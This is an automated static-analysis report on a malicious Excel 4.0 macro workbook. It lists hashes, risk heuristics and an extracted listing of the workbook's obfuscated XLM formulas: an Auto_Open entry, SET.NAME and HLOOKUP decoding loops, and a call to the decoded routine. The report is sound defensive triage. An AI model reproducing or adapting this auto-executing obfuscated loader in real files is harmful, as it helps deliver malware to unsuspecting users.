Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6a5cb22ac8e4b75d…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:42:56 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: a266ada1857507388944d7a2df70481a SHA-1: 469515f27d309eaf36b13e5d9380a7fe378ac412 SHA-256: 6a5cb22ac8e4b75d0b5178a685ac553d49312f09bfb84ebfd20ecc76e27fa394
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6873 bytes
SHA-256: 4d1fa05e696b4078502f59172761845ff12d8da55651972bb80120f9d1306d4a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 39 identifiers look randomly generated (e.g. 'HYyblbUhOgoP') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  jsoPEKqgz
' 0018     23 LABEL : Cell Value, String Constant - AGXEbaij len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C152 
' 0018     23 LABEL : Cell Value, String Constant - BulsMuGp len=0 
' 0018     25 LABEL : Cell Value, String Constant - dNjScXfGsm len=0 
' 0018     25 LABEL : Cell Value, String Constant - hpduBAHPDn len=0 
' 0018     27 LABEL : Cell Value, String Constant - HYyblbUhOgoP len=0 
' 0018     25 LABEL : Cell Value, String Constant - JMhMmATwdb len=0 
' 0018     22 LABEL : Cell Value, String Constant - kcgJIvE len=0 
' 0018     25 LABEL : Cell Value, String Constant - KVjglTYwcs len=0 
' 0018     21 LABEL : Cell Value, String Constant - MJdzUo len=0 
' 0018     26 LABEL : Cell Value, String Constant - mkQctrcacmp len=0 
' 0018     23 LABEL : Cell Value, String Constant - mOaBFpyM len=0 
' 0018     26 LABEL : Cell Value, String Constant - mUVDgexqWjc len=0 
' 0018     20 LABEL : Cell Value, String Constant - NaFGx len=0 
' 0018     22 LABEL : Cell Value, String Constant - OssMZtq len=0 
' 0018     22 LABEL : Cell Value, String Constant - pMZGMbJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - pRlIhSgG len=0 
' 0018     23 LABEL : Cell Value, String Constant - wcRICQMQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - wLSaiNJByaZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - yECgija len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZdWleekKsbk len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  jsoPEKqgz,C64,"SET.NAME("JMhMmATwdb",0+VALUE("0"))",""
'  jsoPEKqgz,C67,"SET.NAME("dNjScXfGsm",JMhMmATwdb)",""
'  jsoPEKqgz,Q67,"",855.00000000000000000000
'  jsoPEKqgz,Q68,"",685.00000000000000000000
'  jsoPEKqgz,C69,"SET.NAME("HYyblbUhOgoP",JMhMmATwdb)",""
'  jsoPEKqgz,Q69,"",477.00000000000000000000
'  jsoPEKqgz,Q70,"",-731.00000000000000000000
'  jsoPEKqgz,Q71,"",-471.00000000000000000000
'  jsoPEKqgz,Q72,"",-100.00000000000000000000
'  jsoPEKqgz,C73,"SET.NAME("KVjglTYwcs",COUNTA(wcRICQMQ))",""
'  jsoPEKqgz,C77,"SET.NAME("yECgija",COUNTA(hpduBAHPDn))",""
'  jsoPEKqgz,C81,[],""
'  jsoPEKqgz,C85,"SET.NAME("pRlIhSgG","")",""
'  jsoPEKqgz,C87,"dNjScXfGsm",""
'  jsoPEKqgz,C92,"SET.NAME("mOaBFpyM",HLOOKUP("*",wcRICQMQ,dNjScXfGsm,FALSE))",""
'  jsoPEKqgz,C95,"kcgJIvE",""
'  jsoPEKqgz,C100,"SET.NAME("AGXEbaij",JMhMmATwdb)",""
'  jsoPEKqgz,C102,[],""
'  jsoPEKqgz,C105,"AGXEbaij",""
'  jsoPEKqgz,C110,"BulsMuGp",""
'  jsoPEKqgz,C115,"mkQctrcacmp",""
'  jsoPEKqgz,C117,"pMZGMbJ",""
'  jsoPEKqgz,C119,"SET.NAME("MJdzUo",VALUE(HLOOKUP("*",hpduBAHPDn,pMZGMbJ,FALSE)))",""
'  jsoPEKqgz,C122,"ZdWleekKsbk",""
'  jsoPEKqgz,C124,"pRlIhSgG",""
'  jsoPEKqgz,C127,"HYyblbUhOgoP",""
'  jsoPEKqgz,C130,NEXT(),""
'  jsoPEKqgz,C133,"NaFGx",""
'  jsoPEKqgz,C137,[],""
'  jsoPEKqgz,C142,"wLSaiNJByaZ",""
'  jsoPEKqgz,C146,NEXT(),""
'  jsoPEKqgz,C149,RETURN(),""
'  jsoPEKqgz,C174,"SET.NAME("mUVDgexqWjc",C64)",""
'  jsoPEKqgz,C179,"wcRICQMQ",""
'  jsoPEKqgz,C184,"SET.NAME("hpduBAHPDn",R65C13)",""
'  jsoPEKqgz,C186,"SET.NAME("wLSaiNJByaZ",196)",""
'  jsoPEKqgz,C191,"SET.NAME("OssMZtq",3)",""
'  jsoPEKqgz,C195,mUVDgexqWjc(),""
'  jsoPEKqgz,C196,HALT(),""

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